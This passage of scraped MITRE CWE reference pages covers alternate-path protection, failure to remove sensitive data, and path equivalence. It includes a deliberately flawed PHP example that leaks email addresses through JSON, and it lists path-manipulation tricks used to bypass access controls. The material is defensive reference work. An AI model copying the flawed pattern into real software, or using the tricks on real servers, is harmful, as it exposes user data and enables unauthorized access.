updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Type
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships, Taxonomy_Mappings
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Privilege Management Error
2009-05-27Insecure Privilege Management

CWE-424: Improper Protection of Alternate Path

Weakness ID: 424
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.638Not Using Complete Mediation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.425Direct Request ('Forced Browsing')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

+ Observed Examples
ReferenceDescription
Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.
+ Potential Mitigations

Phase: Architecture and Design

Deploy different layers of protection to implement security in depth.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1309CISQ Quality Measures - Efficiency
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAlternate Path Errors
Software Fault PatternsSFP35Insecure resource access
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2010-12-13CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Alternate Path Errors
2010-12-13Failure to Protect Alternate Path

CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer

Weakness ID: 212
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.
+ Extended Description

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.

For example, a product for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.226Sensitive Information in Resource Not Removed Before Reuse
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1258Exposure of Sensitive System Information Due to Uncleared Debug Information
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.201Insertion of Sensitive Information Into Sent Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.452Initialization and Cleanup Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.669Incorrect Resource Transfer Between Spheres
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories; Read Application Data

Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.
+ Demonstrative Examples

Example 1

This code either generates a public HTML user information page or a JSON response containing the same user information.

(bad code)
Example Language: PHP 

// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
$record = getUserRecord($username);
foreach($record as $fieldName => $fieldValue)
{
if($fieldName == "email_address") {

// skip displaying user emails
continue;
}
else{
writeToHtmlPage($fieldName,$fieldValue);
}
}
}
else
{
$record = getUserRecord($username);
echo json_encode($record);
}

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

+ Observed Examples
ReferenceDescription
Cryptography library does not clear heap memory before release
Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).
NAT feature in firewall leaks internal IP addresses in ICMP error messages.
+ Potential Mitigations

Phase: Requirements

Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.

Phase: Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Terminology

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-Boundary Cleansing Infoleak
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes, Relationship_Notes
2009-12-28CWE Content TeamMITRE
updated Name
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, Relationship_Notes, Relationships, Terminology_Notes
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships, Weakness_Ordinalities
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Cross-boundary Cleansing Information Leak
2010-02-16Improper Cross-boundary Cleansing
2020-02-24Improper Cross-boundary Removal of Sensitive Data

CWE-41: Improper Resolution of Path Equivalence

Weakness ID: 41
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.
+ Extended Description
Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.42Path Equivalence: 'filename.' (Trailing Dot)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.44Path Equivalence: 'file.name' (Internal Dot)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.46Path Equivalence: 'filename ' (Trailing Space)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.47Path Equivalence: ' filename' (Leading Space)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.48Path Equivalence: 'file name' (Internal Whitespace)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.49Path Equivalence: 'filename/' (Trailing Slash)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.50Path Equivalence: '//multiple/leading/slash'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.51Path Equivalence: '/multiple//internal/slash'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.52Path Equivalence: '/multiple/trailing/slash//'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.53Path Equivalence: '\multiple\\internal\backslash'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.54Path Equivalence: 'filedir\' (Trailing Backslash)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.55Path Equivalence: '/./' (Single Dot Directory)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.56Path Equivalence: 'filedir*' (Wildcard)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.57Path Equivalence: 'fakedir/../realdir/filename'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.58Path Equivalence: Windows 8.3 Filename
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1289Improper Validation of Unsafe Equivalence in Input
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Access Control

Technical Impact: Read Files or Directories; Modify Files or Directories; Bypass Protection Mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.
+ Observed Examples
ReferenceDescription
Source code disclosure using trailing dot
Source code disclosure using trailing dot
Source code disclosure using trailing dot or trailing encoding space "%20"
Source code disclosure using trailing dot
Bypass directory access restrictions using trailing dot in URL
Bypass directory access restrictions using trailing dot in URL
Bypass check for ".lnk" extension using ".lnk."
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Multi-Factor Vulnerability (MFV). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.
Trailing space ("+" in query string) leads to source code disclosure.
Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.
"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.
Overlaps infoleak
Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.
Bypass Basic Authentication for files using trailing "/"
Read sensitive files with trailing "/"
Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.
Read files with full pathname using multiple internal slash.
Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request.
Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.
Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.
Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).
Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.
Access directory using multiple leading slash.
Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.
Directory listings in web server using multiple trailing slash
ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability."
Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.
Server allows remote attackers to read password-protected files via a /./ in the HTTP request.
Possibly (could be a cleansing error)
"/./////etc" cleansed to ".///etc" then "/etc"
Server allows remote attackers to view password protected files via /./ in the URL.
List directories using desired path and "*"
List files in web server using "*.ext"
Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.
application check access for restricted URL before canonicalization
CGI source disclosure using "dirname/../cgi-bin"
Multiple web servers allow restriction bypass using 8.3 names instead of long names
Source code disclosure using 8.3 file name.
Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

